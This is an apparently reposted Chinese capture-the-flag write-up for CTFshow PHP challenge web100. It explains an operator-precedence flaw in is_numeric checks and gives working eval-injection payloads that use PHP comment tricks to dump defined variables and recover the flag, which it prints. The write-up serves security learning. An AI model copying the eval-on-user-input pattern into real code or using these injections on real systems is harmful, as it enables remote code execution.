CTFshow php特性 web100
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web100
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-21 22:10:28 # @link: https://ctfer.com*/highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19思路
and 的優先級是比等號要低的
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 就是把is_numeric($v1)的返回值賦值給$v0,然后和后面的進行邏輯運算,并不會修改$v0的值.
is_numeric() 函數用于檢測變量是否為數字或數字字符串。若是則為true,否則為false
$v1為任意數字就好了
然后看看過濾,$v2不能有;但是$v3要有;
eval("$v2('ctfshow')$v3");字符串拼接,然后用eval執行
題解
?v1=1&v2=var_dump&v3=;
源碼提示//flag in class ctfshow;,我們可以把中間的(‘ctfshow’)注釋掉,辦法有很多種get_defined_vars()查看所有變量
這里我們用
// v3必須有 ; 號 eval("var_dump(get_defined_vars())?>//('ctfshow');"); eval("var_dump(get_defined_vars())?>/*('ctfshow');"); eval("var_dump(get_defined_vars())/*('ctfshow')*/;");v1=1&v2=var_dump(get_defined_vars())?>/*&v3=;
flag_is_184829b90x2d56460x2d4dc60x2da6c40x2dc0f691fb3214
直接提交ctfshow{184829b90x2d56460x2d4dc60x2da6c40x2dc0f691fb3214}
發現不對,仔細看看,里面有個0x2d,對應ASCII碼就是-,我們替換一下成功提交flag
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web100的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web98
- 下一篇: 动态规划算法php,php算法学习之动态